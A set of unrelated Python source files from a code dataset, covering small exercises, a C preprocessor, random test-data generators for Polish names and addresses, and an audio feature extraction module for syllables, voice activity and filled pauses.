Test()","sub_path":"infer.py","file_name":"infer.py","file_ext":"py","file_size_in_byte":13892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"137100064","text":"\ndef extract_primes(num):\n a = []\n b = []\n for i in range(2,num+1):\n for j in range(2,i):\n if i%j==0:\n break\n else:a.append([i]*str(num).count(str(i)))if str(i) in str(num)else False\n for i in a:\n for j in i:\n b.append(j)\n return b\n\n","sub_path":"T4q8P8cxvBtaLPW4q_22.py","file_name":"T4q8P8cxvBtaLPW4q_22.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"501611768","text":"from delphi.translators.for2py.format import *\nfrom delphi.translators.for2py.arrays import *\n\n\ndef main():\n A = Array([(1,12)])\n B = Array([(1,12)])\n C = Array([(1,12)])\n\n B_constr = [12,11,10,9,8,7,6,5,4,3,2,1]\n B_subs = array_subscripts(B)\n B.set_elems(B_subs, B_constr) \n\n C_constr = [1,3,5,7,9,11,13,15,17,19,21,23]\n C_subs = array_subscripts(C)\n C.set_elems(C_subs, C_constr) \n\n A_constr = implied_loop_expr((lambda x: C.get_(B.get_(x))),12,1,-1)\n A_subs = array_subscripts(A)\n A.set_elems(A_subs, A_constr)\n\n fmt_obj = Format(['I5'])\n\n for i in range(1,12+1):\n val = A.get_((i,))\n sys.stdout.write(fmt_obj.write_line([val]))\n\nmain()\n","sub_path":"tests/data/program_analysis/arrays/Translation/arrays-constr-07.py","file_name":"arrays-constr-07.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"380034856","text":"from sklearn.base import BaseEstimator, TransformerMixin\nfrom .base import FunctionFilter\n\nclass CircularPeaksFunction(FunctionFilter):\n def __init__(self):\n super().__init__(_circularPeaks)\n\nclass NormalizeFunction(FunctionFilter):\n def __init__(self):\n super().__init__(_normalize)\n\n# Function to find maxima in a circular array\n# Returns: array of indices\ndef _circularPeaks(array):\n n = len(array)\n up = array[0] > array[n-1]\n maxima = []\n for i, val in enumerate(array):\n #i = i[0]\n added = False\n if i == n-1:\n if up and array[0] < val:\n maxima.append(i)\n added = True\n else:\n if up and (array[i+1] < val):\n maxima.append(i)\n added = True\n up = not up\n elif not up and (array[i+1] > val):\n up = not up\n return maxima\n\ndef _normalize(image):\n image -= image.min()\n return image/image.max()","sub_path":"cosfire/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"490493474","text":"import unittest\n\nfrom article_downloader import Article\n\n\nclass ArticleDownloaderTestCase(unittest.TestCase):\n\n def test_article(self):\n article = Article(\n url='http://www.physiciansnewsnetwork.com/ximed/study-hospital-physician-vertical-integration-has-little-impact-on-quality/article_257c41a0-3a11-11e9-952b-97cc981efd76.html')\n article.download()\n\n article.parse(clean_doc=False)\n\n title = article.title\n text = article.text\n date = article.publish_date\n\n self.assertEqual(title,\n \"Study: Hospital-Physician Vertical Integration Has Little Impact on Quality of Care; Greater Market Concentration Reduces It\")\n self.assertEqual(str(date), 'None')\n self.assertEqual(text.split()[100:105],\n ['directly', 'in', 'California,', 'Scripps', 'has']\n )\n","sub_path":"tests/test_article_downloader.py","file_name":"test_article_downloader.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"602280863","text":"import copy\nimport random\n# Consider using the modules imported above.\n\nclass Hat:\n def __init__(self, **kwargs):\n self.contents = []\n for key, value in kwargs.items():\n for i in range(value):\n self.contents.append(key)\n\n def draw(self, num):\n drawn = []\n if num >= len(self.contents):\n return self.contents\n else:\n for i in range(num):\n drawn.append(self.contents.pop(self.contents.index(random.choice(self.contents))))\n return drawn\n\ndef experiment(hat, expected_balls, num_balls_drawn, num_experiments):\n hits = 0\n for _ in range(num_experiments):\n is_hit = True\n experiment_hat = copy.deepcopy(hat)\n experiment_list = experiment_hat.draw(num_balls_drawn)\n for key, value in expected_balls.items():\n if key not in experiment_list:\n is_hit = False\n break\n count = 0\n for ball in experiment_list:\n if ball == key: count+= 1\n if count < value:\n is_hit = False\n break\n if is_hit: hits += 1\n return hits / num_experiments\n","sub_path":"prob_calculator.py","file_name":"prob_calculator.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"217852822","text":"from django.urls import path, include\nfrom .views import current_user, ProfileList,profile\n\n# from .views import people_list\n\nurlpatterns =[\n path('profile/', profile,name='profile'),\n path('current_user/', current_user),\n path('users/', ProfileList.as_view())\n]\n\n\n","sub_path":"workable/prod/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"138296361","text":"import os\n\nfrom src.preprocessor_tool import PreprocessorTool\nfrom src.util import to_str\n\n\ndef start(c_code):\n \"\"\"\n Starting preprocessing tools for input C code\n :param c_code: C code that need to be preprocessed\n :return: preprocessed C code\n \"\"\"\n c_code = delete_comments(c_code)\n replacing = scan_for_define(c_code)\n for key, value in replacing.items():\n c_code = replace_all(c_code, key, value)\n c_code = parse_include_files(c_code)\n return c_code\n\n\ndef scan_for_define(c_code):\n \"\"\"\n Scans for '#define' tokens and what string should be replaced in input C code\n :param c_code: C code in which scan is taking place\n :return: dictionary with following format: {what_should_be_replaced: on_what_should_be_replaced}\n \"\"\"\n replacing = {}\n preprocessor_tool = PreprocessorTool(c_code)\n define_indexes = preprocessor_tool.find_all(\"#define \")\n for define_index in define_indexes:\n preprocessor_tool.set_iterator(define_index + 7)\n preprocessor_tool.skip()\n replace_what = ''\n current_char = preprocessor_tool.get_next_char()\n if current_char == '_EOF':\n return replacing\n while current_char != ' ' and current_char != '\\n':\n replace_what += current_char\n current_char = preprocessor_tool.get_next_char()\n if current_char == '_EOF':\n return replacing\n preprocessor_tool.skip()\n replace_to = ''\n current_char = preprocessor_tool.get_next_char()\n if current_char == '_EOF':\n return replacing\n while current_char != ' ' and current_char != '\\n':\n replace_to += current_char\n current_char = preprocessor_tool.get_next_char()\n if current_char == '_EOF':\n replacing[replace_what] = replace_to\n return replacing\n replacing[replace_what] = replace_to\n return replacing\n\n\ndef replace_all(c_code, replace_what, replace_to):\n \"\"\"\n Replace all 'replace_what' entries with 'replace_to' (only where it is needed)\n :param c_code: C code in which replace is taking place\n :param replace_what: string that should be replaced\n :param replace_to: string that should be placed instead of 'replace_what'\n :return: C code (string)\n \"\"\"\n preprocessor_tool = PreprocessorTool(c_code)\n define_string = '#define ' + replace_what + ' ' + replace_to\n preprocessor_tool.remove_first(define_string)\n preprocessor_tool.replace_all(replace_what, replace_to)\n return preprocessor_tool.c_code\n\n\ndef delete_comments(code):\n \"\"\"\n Deletes all types of C comments in an input\n :param code: C code in which comments should be deleted\n :return: C code without comments\n \"\"\"\n code = delete_oneline_comments(code)\n return delete_multiline_comments(code)\n\n\ndef delete_comments_universal(code, begin_str, end_str):\n \"\"\"\n Deletes all substrings\n :param code: input string\n :param begin_str: beginning of the substring\n :param end_str: ending of the substring\n :return: string with deleted substrings\n \"\"\"\n indexes = []\n current_index = code.find(begin_str, 0)\n while current_index != -1:\n next_end_index = code.find(end_str, current_index)\n if next_end_index == -1:\n indexes.append((current_index, len(code) - 1))\n else:\n indexes.append((current_index, next_end_index + len(end_str) - 1))\n current_index = code.find('//', next_end_index)\n return delete_from_string_indexes(code, indexes)\n\n\ndef delete_oneline_comments(code):\n \"\"\"\n Deletes all C one line comments\n :param code: input C code\n :return: C code without one line comments\n \"\"\"\n return delete_comments_universal(code, '//', '\\n')\n\n\ndef delete_multiline_comments(code):\n \"\"\"\n Deletes all C multi line comments\n :param code: input C code\n :return: C code without multi line comments\n \"\"\"\n return delete_comments_universal(code, '/*', '*/')\n\n\ndef delete_from_string_indexes(code, indexes):\n \"\"\"\n Removes everything in code between values in 'indexes'\n :param code: input code\n :param indexes: indices for removing\n :return: code without substrings defined by 'indexes'\n \"\"\"\n if len(indexes) == 0:\n return code\n new_code = []\n curr_index = 0\n for i, (start, end) in enumerate(indexes):\n new_code.append(code[curr_index:start])\n curr_index = end + 1\n if i == len(indexes) - 1:\n new_code.append(code[curr_index:len(code)])\n return to_str(new_code)\n\n\ndef parse_include_files(input_code):\n \"\"\"\n Parses '#include' entries\n :param input_code: input C code\n :return: C code with parsed '#include' statements\n \"\"\"\n while input_code.find('#include') != -1:\n\n include_index = input_code.find('#include')\n begin_index = include_index + len('#include')\n\n if include_index == -1:\n return input_code\n\n while begin_index < len(input_code) and input_code[begin_index] == ' ':\n begin_index += 1\n\n if input_code[begin_index] != '\"' and input_code[begin_index] != \"<\":\n raise Exception('After #include statement came {} symbol instead of dual quote symbol (\") or \"<\" symbol.')\n elif input_code[begin_index] == '\"':\n # search in directory\n end_index = input_code.find('\"', begin_index + 1)\n file_name = input_code[begin_index + 1:end_index]\n with open(os.path.dirname(__file__)[:-4] + '\\libs\\\\' + file_name, \"r\") as file:\n file.seek(0)\n code = file.read()\n input_code = input_code[:include_index] + code + parse_include_files(input_code[end_index + 1:])\n\n elif input_code[begin_index] == '<':\n # search in /libs, because this is system library\n end_index = input_code.find('>', begin_index + 1)\n input_code = input_code[:end_index + 1] + parse_include_files(input_code[end_index + 1:])\n\n return input_code\n","sub_path":"src/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":6054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"586183171","text":"# -*- coding: utf-8 -*-\r\n# Construção de histogramas\r\n\r\nimport sys\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import misc \r\n\r\n\r\ntry:\r\n entrada = sys.argv[1]\r\nexcept IndexError:\r\n entrada = 'img_entrada.tif'\r\n\r\nsaida = 'histograma.tif' \r\n\r\n\r\n# Faz a leitura da imagem\r\nimg_entrada = misc.imread(entrada) \r\n\r\n# Transforma os níveis de intensidade numa imagem de uma dimensão\r\nhistograma = img_entrada.flatten()\t\r\n\r\n# Organiza o plote das imagens\r\nplt.figure()\r\nplt.subplot(221)\r\nplt.hist(histograma, bins=256, range=(0,255))\r\nplt.title('histograma')\r\nplt.savefig(saida)\r\nplt.subplot(222)\r\nplt.imshow(img_entrada, cmap='gray', interpolation='nearest')\r\nplt.title('img_entrada')\r\n\r\n# Plota as imagens de entrada e saída na tela\r\nplt.show()\r\n","sub_path":"Implementacoes/hist.py","file_name":"hist.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"61359552","text":"import random\nimport string\nfrom datetime import date, timedelta, datetime\n\n\ndef get_name():\n names = []\n names_f = open(\"names\", mode=\"r\", encoding=\"UTF-16\")\n for line in names_f:\n names.append(line[0:-1])\n return random.choice(names)\n\ndef get_surname(name):\n surnames = []\n surnames_f = open(\"surnames\", mode=\"r\", encoding=\"UTF-16\")\n for line in surnames_f:\n surnames.append(line[0:-1])\n sur = random.choice(surnames)\n if name.endswith('a'):\n if(sur.endswith('i')):\n sur = sur[0:-1] + 'a'\n return sur\n else:\n return sur\n\ndef get_date():\n start_date = date.today().replace(day=1, month=1, year=2000).toordinal()\n end_date = date.today().toordinal()\n random_day = date.fromordinal(random.randint(start_date, end_date))\n return random_day\n\ndef get_date(from_year, to_year):\n start_date = date.today().replace(day=1, month=1, year=from_year).toordinal()\n end_date = date.today().replace(year=to_year).toordinal()\n random_day = date.fromordinal(random.randint(start_date, end_date))\n return random_day\n\n#from_num - włącznie, to-num - wyłącznie\ndef get_number(from_num, to_num):\n return random.randrange(from_num, to_num)\n\n#ostatnie 2 lata\ndef get_timedate():\n return datetime(year=get_number(2014, 2017), month=get_number(1, 13), day=get_number(1, 29), hour=get_number(0,24), minute=get_number(0,60));\n\ndef datetime_after_8_hours(dt):\n return dt + timedelta(hours=8)\n\ndef get_rejestracja():\n rejestracja = \"\"\n for i in range(8):\n rejestracja += random.choice(string.ascii_lowercase)\n return rejestracja\n\ndef get_schorzenie():\n file = open(\"choroby.txt\", mode=\"r\")\n lines = []\n for line in file:\n line = line.strip()\n if line != \"\":\n lines.append(line)\n schorzenie = random.choice(lines)\n\n return (schorzenie.split(\";\"))[0]\n\ndef get_typ_schorzenia(choroba):\n return choroba[0]\n\ndef get_random_location():\n lat = 50 + random.random() * 4\n lng = 15 + random.random() * 8\n return (str(lat) + \" \" + str(lng))\n\ndef get_adres():\n f = open(\"wszystkie_adresy_2470.txt\", \"r\")\n tab = []\n for line in f:\n splitted = line.split(\" \")\n a = \"\"\n for i in range(2, len(splitted)):\n a+=splitted[i] + \" \"\n tab.append(a)\n return random.choice(tab)\n\n","sub_path":"randoms.py","file_name":"randoms.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"161642199","text":"#\n# Created on Apr 23, 2019\n#\n# @author: Julian Fortune\n# @Description: Functions for extracting features from audio data.\n#\n\nimport math\nimport time\n\nimport librosa\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport parselmouth # Formants\nimport scipy.signal # Extracts power spectrum\n\nDEBUG_VOICE_SYLLABLE_GRAPH = False\nDEBUG_VOICE_ACTIVITY_GRAPH = False\nDEBUG_FILLED_PAUSE_GRAPH = False\nDEBUG_TIME = False\n\nclass FeatureSet:\n\n # TODO: Redo to use classic lists and convert at very end to save on\n # re-allocation/copying time\n\n def __init__(self):\n self.syllablesPerSecond = np.zeros(shape=0)\n self.meanVoiceActivity = np.zeros(shape=0)\n self.stDevVoiceActivity = np.zeros(shape=0)\n self.meanPitch = np.zeros(shape=0)\n self.stDevPitch = np.zeros(shape=0)\n self.meanIntensity = np.zeros(shape=0)\n self.stDevIntensity = np.zeros(shape=0)\n self.filledPauses = np.zeros(shape=0)\n\n def appendAllZeros(self):\n self.syllablesPerSecond = np.append(self.syllablesPerSecond, 0)\n self.meanVoiceActivity = np.append(self.meanVoiceActivity, 0)\n self.stDevVoiceActivity = np.append(self.stDevVoiceActivity, 0)\n self.meanPitch = np.append(self.meanPitch, 0)\n self.stDevPitch = np.append(self.stDevPitch, 0)\n self.meanIntensity = np.append(self.meanIntensity, 0)\n self.stDevIntensity = np.append(self.stDevIntensity, 0)\n self.filledPauses = np.append(self.filledPauses, 0)\n\n def append(self, secondFeatureSet):\n self.syllablesPerSecond = np.append(self.syllablesPerSecond, secondFeatureSet.syllablesPerSecond)\n self.meanVoiceActivity = np.append(self.meanVoiceActivity, secondFeatureSet.meanVoiceActivity)\n self.stDevVoiceActivity = np.append(self.stDevVoiceActivity, secondFeatureSet.stDevVoiceActivity)\n self.meanPitch = np.append(self.meanPitch, secondFeatureSet.meanPitch)\n self.stDevPitch = np.append(self.stDevPitch, secondFeatureSet.stDevPitch)\n self.meanIntensity = np.append(self.meanIntensity, secondFeatureSet.meanIntensity)\n self.stDevIntensity = np.append(self.stDevIntensity, secondFeatureSet.stDevIntensity)\n self.filledPauses = np.append(self.filledPauses, secondFeatureSet.filledPauses)\n\n\n\n# | Removes consecutive values in runs less than the minimum length.\ndef removeSmallRunsOfValues(npArray, minimumLength):\n currentlyInARun = False\n runStartingIndex = 0\n\n for index in range(0, len(npArray)):\n if npArray[index] != 0 and not currentlyInARun:\n currentlyInARun = True\n runStartingIndex = index\n if npArray[index] == 0 and currentlyInARun:\n currentlyInARun = False\n lengthOfRun = index - runStartingIndex\n if lengthOfRun < minimumLength:\n np.put(npArray, range(runStartingIndex, index + 1), 0)\n\n# | Adds extra binary True values surrounding existing True values by the number\n# | of frames specified.\ndef createBufferedBinaryArrayFromArray(npArray, frames):\n bufferedArray = np.full(len(npArray), False)\n\n for index in range(0, len(npArray)):\n start = index - frames\n end = index + frames + 1\n\n if start < 0:\n start = 0\n if end > len(npArray) - 1:\n end = len(npArray) - 1\n\n if True in npArray[start:end]:\n bufferedArray[index] = True\n\n return bufferedArray\n\n# | Checks surrounding values in an array around the index to check if\n# | any of them are above the threshold.\ndef aboveThresholdWithinTolerance(data, indexInQuestion, threshold, tolerance):\n for index in range(indexInQuestion - tolerance,indexInQuestion + tolerance):\n if index >= 0 and index < len(data):\n if data[index] > threshold:\n return True\n return False\n\n# | Returns the minimum energy threshold using custom metric.\ndef getEnergyMinimumThreshold(energy, signalToNoiseRatio):\n return np.percentile(energy, 10) * signalToNoiseRatio\n\n# | Returns energy values using librosa RMS.\ndef getEnergy(data, sampleRate, windowSize, stepSize):\n windowSizeInSamples = int(sampleRate / 1000 * windowSize)\n stepSizeInSamples = int(sampleRate / 1000 * stepSize)\n\n energy = librosa.feature.rms(data, frame_length=windowSizeInSamples, hop_length=stepSizeInSamples)[0]\n return energy\n\n# | Returns energy values using short term energy calculation.\ndef getShortTermEnergy(data, sampleRate, windowSize, stepSize):\n windowSizeInSamples = int(sampleRate / 1000 * windowSize)\n stepSizeInSamples = int(sampleRate / 1000 * stepSize)\n\n # Pad the end of the array\n data = np.pad(data, (0, int(windowSizeInSamples - stepSizeInSamples)), mode='constant')\n\n # Create frames using optimized algorithm\n framedData = librosa.util.frame(data,\n frame_length=windowSizeInSamples,\n hop_length=stepSizeInSamples)\n\n shortTermEnergy = np.sum((framedData)**2, axis=0, keepdims=True)[0]\n\n return shortTermEnergy\n\n# | Returns energy values using RMS calculation.\ndef getRMSIntensity(data, sampleRate, windowSize, stepSize):\n windowSizeInSamples = int(sampleRate / 1000 * windowSize)\n stepSizeInSamples = int(sampleRate / 1000 * stepSize)\n\n # Pad the end of the array\n data = np.pad(data, (0, int(windowSizeInSamples)), mode='constant')\n\n # Create frames using optimized algorithm\n framedData = librosa.util.frame(data,\n frame_length=windowSizeInSamples,\n hop_length=stepSizeInSamples)\n\n rms = np.sqrt(np.mean((framedData)**2, axis=0, keepdims=True))[0]\n\n return rms\n\n# | Returns pitch values from PRAAT to_pitch_ac.\ndef getPitch(data, sampleRate, stepSize, silenceProportionThreshold, minimumRunLength):\n # Convert to the parselmouth custom sound type (req'd for formant function).\n parselSound = parselmouth.Sound(values=data, sampling_frequency=sampleRate)\n\n # Get the pitch values using PRAAT auto-correlation.\n pitchData = parselSound.to_pitch_ac(time_step=stepSize/1000,\n pitch_ceiling=400.0,\n silence_threshold=silenceProportionThreshold)\n pitchValues = pitchData.selected_array['frequency']\n removeSmallRunsOfValues(pitchValues, minimumRunLength)\n\n return np.array(pitchValues)\n\n# | Returns the first two formants from a piece of audio.\ndef getFormants(data, sampleRate, windowSize, stepSize):\n # Convert to the parselmouth custom sound type (req'd for formant function).\n parselSound = parselmouth.Sound(values=data, sampling_frequency=sampleRate)\n\n # Produce a formant object from this data.\n formantData = parselSound.to_formant_burg(window_length=windowSize, time_step=stepSize)\n\n # API for parselmouth doesn't explain how to extract the formatData without querying for everything manually.\n firstFormant = []\n secondFormant = []\n\n times = np.arange(0, len(data)/sampleRate, stepSize) # In seconds\n\n for timeStamp in times:\n firstFormantValue = formantData.get_value_at_time(1, timeStamp)\n firstFormant.append(firstFormantValue)\n\n secondFormantValue = formantData.get_value_at_time(2, timeStamp)\n secondFormant.append(secondFormantValue)\n\n return np.array(firstFormant), np.array(secondFormant)\n\n# | Returns the indices of syllables in audio data.\ndef getSyllables(data, sampleRate, pitchValues, windowSize, stepSize, energyPeakMinimumDistance, energyPeakMinimumWidth, energyPeakMinimumProminence, pitchDistanceTolerance, zcrThreshold, energyThresholdRatio):\n # Convert window and step sizes to samples for Librosa.\n windowSizeInSamples = int(sampleRate / 1000 * windowSize)\n stepSizeInSamples = int(sampleRate / 1000 * stepSize)\n\n # Empty integer array\n numberOfSteps = int(len(data) / stepSizeInSamples)\n syllables = np.full(numberOfSteps, 0)\n\n # Get energy.\n energy = getEnergy(data, sampleRate, windowSize, stepSize)\n\n # Get energy threshold\n energyMinThreshold = getEnergyMinimumThreshold(energy, energyThresholdRatio)\n\n # Get zero-crossing Rate\n zcr = librosa.feature.zero_crossing_rate(data, frame_length=windowSizeInSamples, hop_length=stepSizeInSamples)[0]\n\n # Identify peaks in energy.\n peaks, _ = scipy.signal.find_peaks(energy,\n height=energyMinThreshold,\n distance=energyPeakMinimumDistance,\n width=energyPeakMinimumWidth,\n prominence=energyPeakMinimumProminence)\n\n validPeaks = []\n\n # Remove candidate peaks that don't meet voicing requirements.\n for i in range(0,len(peaks)):\n if zcr[peaks[i]] < zcrThreshold and aboveThresholdWithinTolerance(data=pitchValues,\n indexInQuestion=peaks[i],\n threshold=0,\n tolerance=pitchDistanceTolerance):\n validPeaks = np.append(validPeaks, peaks[i])\n syllables[peaks[i]] = 1\n\n if __debug__:\n if DEBUG_VOICE_SYLLABLE_GRAPH:\n # Show graph if debugging\n times = np.arange(0, len(data)/sampleRate, stepSize/1000)\n energyTimes = np.arange(0, len(data)/sampleRate, stepSize/1000)[:len(energy)]\n zcrTimes = np.arange(0, len(data)/sampleRate, stepSize/1000)[:len(zcr)]\n pitchTimes = np.arange(0, len(data)/sampleRate, stepSize/1000)[:len(pitchValues)]\n pitchValues[pitchValues == 0] = np.nan\n\n syllableMarkers = np.full(len(validPeaks), 0)\n\n plt.figure(figsize=[16, 8])\n plt.plot(energyTimes, energy / 100000000, zcrTimes, zcr * 10000, pitchTimes, pitchValues)\n plt.plot(np.array(validPeaks) * stepSizeInSamples / sampleRate, syllableMarkers, 'go')\n plt.show()\n plt.close()\n\n # Return syllables & candidate peaks that didn't meet voicing requirements.\n return syllables, np.array(validPeaks) * stepSizeInSamples / sampleRate\n\n# | Returns the voice activity (each v_i in V ∈ {0,1}) using an adaptive algorithm from \"A Simple but Efficient...\".\ndef getVoiceActivity(data, sampleRate, pitchValues, windowSize, stepSize, useAdaptiveThresholds, zcrMaximumThreshold, zcrMinimumThreshold, energyPrimaryThreshold, pitchTolerance, minimumRunLength):\n # Convert window and step sizes to samples for Librosa.\n windowSizeInSamples = int(sampleRate / 1000 * windowSize)\n stepSizeInSamples = int(sampleRate / 1000 * stepSize)\n\n # Get energy and zero-crossing rate.\n energy = getShortTermEnergy(data, sampleRate, windowSize, stepSize)\n zcr = librosa.feature.zero_crossing_rate(data, frame_length=windowSizeInSamples, hop_length=stepSizeInSamples)[0]\n\n # Move the thresholds if needed.\n if useAdaptiveThresholds:\n minEnergy = np.mean(energy[0:30])\n energyThreshold = energyPrimaryThreshold * math.log(minEnergy)\n else:\n energyThreshold = energyPrimaryThreshold\n\n voiceActivity = []\n silenceCount = 0\n\n for i in range(0, len(energy)):\n currentActivity = 0\n\n if (zcr[i] < zcrMaximumThreshold and zcr[i] > zcrMinimumThreshold and\n energy[i] > energyThreshold and aboveThresholdWithinTolerance(data= pitchValues,\n indexInQuestion= i,\n threshold= 0,\n tolerance= pitchTolerance)):\n\n currentActivity = 1 # Voice acitivty present\n else:\n silenceCount += 1\n\n voiceActivity = np.append(voiceActivity, currentActivity) # No voice acitivty present\n\n if useAdaptiveThresholds:\n minEnergy = ( (silenceCount * minEnergy) + energy[i] ) / ( silenceCount + 1 )\n energyThreshold = energyPrimaryThreshold * math.log(minEnergy)\n\n removeSmallRunsOfValues(voiceActivity, minimumRunLength)\n\n if __debug__:\n if DEBUG_VOICE_ACTIVITY_GRAPH:\n # Show graph if debugging\n energyTimes = np.arange(0, len(data)/sampleRate, stepSize/1000)[:len(energy)]\n zcrTimes = np.arange(0, len(data)/sampleRate, stepSize/1000)[:len(zcr)]\n pitchTimes = np.arange(0, len(data)/sampleRate, stepSize/1000)[:len(pitchValues)]\n plotVoiceActivity = np.copy(voiceActivity)\n plotVoiceActivity[plotVoiceActivity == 0] = np.nan\n pitchValues[pitchValues == 0] = np.nan\n\n plt.figure(figsize=[16, 8])\n plt.plot(energyTimes, energy / 100000000, zcrTimes, zcr * 10000, pitchTimes, pitchValues)\n plt.plot(energyTimes, plotVoiceActivity * -100)\n plt.show()\n plt.close()\n\n return voiceActivity\n\n# | Returns an array of timestamps where filled pauses were detected.\ndef getFilledPauses(data, sampleRate, windowSize, stepSize, minumumLength, minimumDistanceToPrevious, F1MaximumVariance, F2MaximumVariance, maximumFormantDistance, energyThresholdRatio):\n # Convert window and step sizes to samples for Librosa and to prevent rounding issues with RMSE.\n windowSizeInSamples = int(sampleRate / 1000 * windowSize)\n stepSizeInSamples = int(sampleRate / 1000 * stepSize)\n\n timeStamps = []\n\n # The number of steps in the feature arrays.\n numberOfSteps = int(len(data) / stepSizeInSamples)\n # Empty integer array\n filledPauses = np.full(numberOfSteps, 0)\n\n # Get energy, first and second formants (F1 & F2), and spectral flatness.\n energy = getEnergy(data, sampleRate, windowSize, stepSize)\n firstFormant, secondFormant = getFormants(data, sampleRate,\n windowSizeInSamples/sampleRate,\n stepSizeInSamples/sampleRate)\n\n energyThreshold = getEnergyMinimumThreshold(energy, energyThresholdRatio)\n\n # Used for finding time stamp.\n times = np.arange(0, len(data)/sampleRate, stepSizeInSamples/sampleRate) # seconds\n\n # The number of steps in the feature arrays that make up a single window for checking for utterances.\n utteranceWindowSize = int(minumumLength / 1000 * sampleRate / stepSizeInSamples)\n\n fillerUtteranceInitiated = False\n\n # Step through each data point in formant and energy arrays and check for\n # filler utterances over the next 'minimumLength' size window of features.\n for step in range(0, numberOfSteps-utteranceWindowSize):\n start = step\n end = step+utteranceWindowSize\n\n firstFormantVariance = np.std(firstFormant[start:end])\n secondFormantVariance = np.std(secondFormant[start:end])\n averageFormantDistance = np.mean(secondFormant[start:end] - firstFormant[start:end])\n\n averageEnergy = np.mean(energy[start:end])\n\n # Check for any filled pauses immediately before the current window\n previousFilledPause = 0\n if len(timeStamps) > 0:\n previousFilledPause = timeStamps[-1]\n else:\n previousFilledPause = -10\n distanceToPreviousFilledPause = times[step] - previousFilledPause\n\n # Identify filled pauses\n if (firstFormantVariance <= F1MaximumVariance and\n secondFormantVariance <= F2MaximumVariance and\n averageEnergy > energyThreshold and\n distanceToPreviousFilledPause > minimumDistanceToPrevious/1000 and\n averageFormantDistance < maximumFormantDistance):\n # Prevent an utterance from being detected many times.\n if fillerUtteranceInitiated == False:\n fillerUtteranceInitiated = True\n\n timeStamps.append(times[step])\n filledPauses[step] = 1\n else:\n fillerUtteranceInitiated = False\n\n if __debug__:\n if DEBUG_FILLED_PAUSE_GRAPH:\n # Show graph if debugging\n filledPausesMarkers = np.full(len(timeStamps), 0)\n energyTimes = np.arange(0, len(data)/sampleRate, stepSize/1000)[:len(energy)]\n\n plt.figure(figsize=[16, 8])\n plt.plot(energyTimes, energy[:len(energyTimes)] / 10)\n plt.plot(times, firstFormant, times, secondFormant, np.array(timeStamps), filledPausesMarkers, 'go')\n plt.show()\n plt.close()\n\n return filledPauses, np.array(timeStamps)\n\n# # | [WIP] The start of an implementation of Garg and Ward's filled pause algorithm.\n# def getFilledPausesGargAndWard(data, sampleRate):\n# # Convert window and step sizes to samples for Librosa and to prevent rounding issues with RMSE.\n# windowSizeInSamples = int(sampleRate / 1000 * windowSize)\n# stepSizeInSamples = int(sampleRate / 1000 * stepSize)\n\n# timeStamps = []\n\n# # The number of steps in the feature arrays.\n# numberOfSteps = int(len(data) / stepSizeInSamples)\n\n# # Convert to the parselmouth custom sound type (req'd for formant function).\n# parselSound = parselmouth.Sound(values=data, sampling_frequency=sampleRate)\n\n# # Get the pitch values using PRAAT auto-correlation.\n# pitchData = parselSound.to_pitch_ac(time_step=stepSize/1000,\n# pitch_ceiling=400.0)\n# pitchValues = np.array(pitchData.selected_array['frequency'])\n\n# # Used for finding time stamp.\n# times = np.arange(0, len(data)/sampleRate, stepSizeInSamples/sampleRate) # seconds\n\n# # Step through each data point in formant and energy arrays and check for\n# # filler utterances over the next 'minimumLength' size window of features.\n# for step in range(0, numberOfSteps-utteranceWindowSize):\n\n# previousFilledPause = 0\n# if len(timeStamps) > 0:\n# previousFilledPause = timeStamps[-1]\n# else:\n# previousFilledPause = -10\n\n# if __debug__:\n# if DEBUG_FILLED_PAUSE_GRAPH:\n# # Show graph if debugging\n# filledPausesMarkers = np.full(len(timeStamps), 0)\n# energyTimes = np.arange(0, len(data)/sampleRate, stepSize/1000)[:len(energy)]\n\n# plt.figure(figsize=[16, 8])\n# plt.plot(energyTimes, energy, energyTimes, pitch)\n# plt.plot(np.array(timeStamps), filledPausesMarkers, 'go')\n# plt.show()\n# plt.close()\n\n# return filledPauses, np.array(timeStamps)\n\n# # | [WIP] The start of an implementation of \"A Simple but Efficient...\".\n# def getVoiceActivityMoattarAndHomayounpour(data, sampleRate):\n# # Primary thresholds\n# energyPrimaryThreshold = 40\n# frequencyPrimaryThreshold = 185\n# spectralFlatnessMeasurePrimaryThreshold = 5\n\n# frameSize = 10 # Milliseconds\n# numberOfFrames = len(data) / sampleRate * 1000\n\n# # Convert window and step sizes to samples for Librosa.\n# frameSizeInSamples = int(sampleRate / 1000 * frameSize)\n\n# dataFrames = librosa.util.frame(data, frame_length=frameSizeInSamples, hop_length=frameSizeInSamples)\n\n# voiceActivity = []\n\n# energies = []\n# dominantFrequencies = []\n# spectralFlatnessMeasures = []\n\n# silenceCount = 0\n\n# for frame in dataFrames:\n# currentActivity = 0\n\n# if counter > 1:\n# voiceActivity.append(1)\n# else:\n# voiceActivity.append(0)\n# silenceCount += 1\n# minEnergy = ( (silenceCount * minEnergy) + energy[i] ) / ( silenceCount + 1 )\n\n# energyThreshold = energyPrimaryThreshold * math.log(minEnergy)\n\n# return 